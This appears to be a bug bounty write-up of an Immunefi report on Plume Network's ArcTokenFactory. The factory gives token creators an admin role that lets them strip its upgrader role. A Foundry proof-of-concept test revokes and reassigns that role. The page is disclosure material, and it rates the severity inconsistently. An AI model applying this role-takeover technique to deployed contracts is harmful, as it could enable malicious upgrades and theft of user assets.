TokenCreator retains upgrade rights – Fix remains insufficient - Finding #01: Immunefi Report
When a new token is created, the creator is granted the default admin role, which lets them revoke the factory's upgrader role and take upgrade control themselves. A malicious creator could then upgrade the token to malicious logic, potentially stealing user assets.
- Disclosed after under an hour
51589 sc high tokencreator retains upgrade rights fix remains insufficient finding 01 immunefi report
Submitted on Aug 4th 2025 at 09:18:55 UTC by @Boraicho for Attackathon | Plume Network
- Report ID: #51589
- Report Type: Smart Contract
- Report severity: High
- Target: https://github.com/immunefi-team/attackathon-plume-network/blob/main/arc/src/ArcTokenFactory.sol
- Impacts:
- Contract fails to deliver promised returns, but doesn't lose value
Description
Brief / Introduction
When a new ArcToken is created using the createToken function, the ADMIN_ROLE is granted to the msg.sender (i.e., the token creator):
token.grantRole(token.DEFAULT_ADMIN_ROLE(), msg.sender);
token.grantRole(token.ADMIN_ROLE(), msg.sender);
This setup allows the token creator to remove or bypass the UPGRADER_ROLE, which is intended to be exclusively assigned to the TokenFactoryAdmin.
Vulnerability Details
The token creator can override the intended control of the ArcTokenFactory over the token’s implementation logic. This undermines the security and trust assumptions of the factory, as upgrade permissions can be exploited without factory or governance oversight to upgrade to malicious implementation contracts.
Impact Details
This issue was classified as critical in the Immunefi report. The Arc system is designed to be a trusted platform where multiple token implementations can coexist, but still under the centralised governance of the system. A malicious token creator could leverage the system’s branding to gain user trust, then upgrade the token with malicious logic—potentially resulting in theft of user assets.
References
The following function represents the upgrade logic, which should only be callable by the TokenFactoryAdmin:
function upgradeToken(address token, address newImplementation) external onlyRole(DEFAULT_ADMIN_ROLE)
Proof of Concept
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.25;
import { ArcToken } from "../src/ArcToken.sol";
import { ArcTokenFactory } from "../src/ArcTokenFactory.sol";
import { ERC20Mock } from "@openzeppelin/contracts/mocks/token/ERC20Mock.sol";
import { Strings } from "@openzeppelin/contracts/utils/Strings.sol";
import { Test } from "forge-std/Test.sol";
import { console } from "forge-std/console.sol";
// Import necessary restriction contracts and interfaces
import { RestrictionsRouter } from "../src/restrictions/RestrictionsRouter.sol";
import { WhitelistRestrictions } from "../src/restrictions/WhitelistRestrictions.sol";
import { IAccessControl } from "@openzeppelin/contracts/access/IAccessControl.sol";
import { UUPSUpgradeable } from "@openzeppelin/contracts-upgradeable/proxy/utils/UUPSUpgradeable.sol";
contract ArcTokenFactoryTest is Test {
ArcTokenFactory public factory;
RestrictionsRouter public router;
ERC20Mock public yieldToken;
address public admin;
address public deployer;
address public user;
address public malicousTokenCreator;
event TokenCreated(
address indexed tokenAddress,
address indexed owner,
address indexed implementation,
string name,
string symbol,
string tokenUri,
uint8 decimals
);
event ImplementationWhitelisted(address indexed implementation);
event ImplementationRemoved(address indexed implementation);
// Define module type constants matching ArcToken/Factory
bytes32 public constant TRANSFER_RESTRICTION_TYPE = keccak256("TRANSFER_RESTRICTION");
bytes32 public constant YIELD_RESTRICTION_TYPE = keccak256("YIELD_RESTRICTION");
function setUp() public {
admin = address(this);
deployer = makeAddr("deployer");
user = makeAddr("user");
malicousTokenCreator = 0xBA12222222228d8Ba445958a75a0704d566BF2C8;
// Deploy mock yield token
yieldToken = new ERC20Mock();
// Deploy Router
router = new RestrictionsRouter();
router.initialize(admin); // Initialize router with admin
// Deploy factory
factory = new ArcTokenFactory();
factory.initialize(address(router)); // Initialize factory with router address
}
// ============ Token Upgrade Tests ============
function test_UpgradeToken() public {
// Create initial token with msg.sender falling under malicousToken;
vm.startPrank(malicousTokenCreator);
address tokenAddress = factory.createToken(
"Test Token",
"TEST",
1000e18,
address(yieldToken),
"uri",
admin,
18
);
vm.stopPrank();
address initialImpl = factory.getTokenImplementation(tokenAddress);
// Create new implementation
address newImpl = address(new ArcToken());
factory.whitelistImplementation(newImpl);
vm.startPrank(malicousTokenCreator);
ArcToken(tokenAddress).revokeRole(keccak256("UPGRADER_ROLE"), address(factory));
ArcToken(tokenAddress).grantRole(keccak256("UPGRADER_ROLE"), malicousTokenCreator);
vm.stopPrank();
vm.expectRevert();
factory.upgradeToken(tokenAddress, newImpl);
}
}
Understanding the POC
{% stepper %} {% step %}
Prepare the test environment
- Navigate to the
attackathon-plume-network/arc/testdirectory. - Replace all code in
ArcTokenFactory.t.solwith the Proof of Concept code provided above. {% endstep %}
{% step %}
Run the test
Execute the following command:
forge test --match-path ArcTokenFactory --match-test test_UpgradeToken --via-ir -vvvvvvvv
{% endstep %}
{% step %}
What to Observe
- The final line of the test reverts when the factory owner attempts to upgrade the contract.
- This happens because the token deployer has revoked the factory's
UPGRADER_ROLEand assigned it to themselves, preventing the factory from performing the upgrade. {% endstep %} {% endstepper %}
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Root cause
The factory grants the token creator the default admin role, which includes the ability to revoke and reassign the upgrader role that should stay with the factory admin.
Impact
A malicious token creator could upgrade the token to malicious logic, potentially stealing user assets, though the report only demonstrates that the factory's upgrade call reverts.
What the attacker needed
Ability to create a token via the factory
How it was found
- Create a token through the factory as the malicious creator.
- Revoke the factory's upgrader role on the token.
- Grant the upgrader role to the malicious creator.
- Attempt to upgrade the token from the factory and observe the revert.
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
A token factory creates new tokens and is supposed to keep control over who can upgrade them. But the creator of each token is given a powerful admin role, so they can take that upgrade control away from the factory. That means a bad actor could later swap the token's code for something harmful.
What is Access control?
A user can do something their role should not allow: reach an admin function, act on a feature they have not paid for, or skip a permission check. IDOR is the special case where the object belongs to someone else.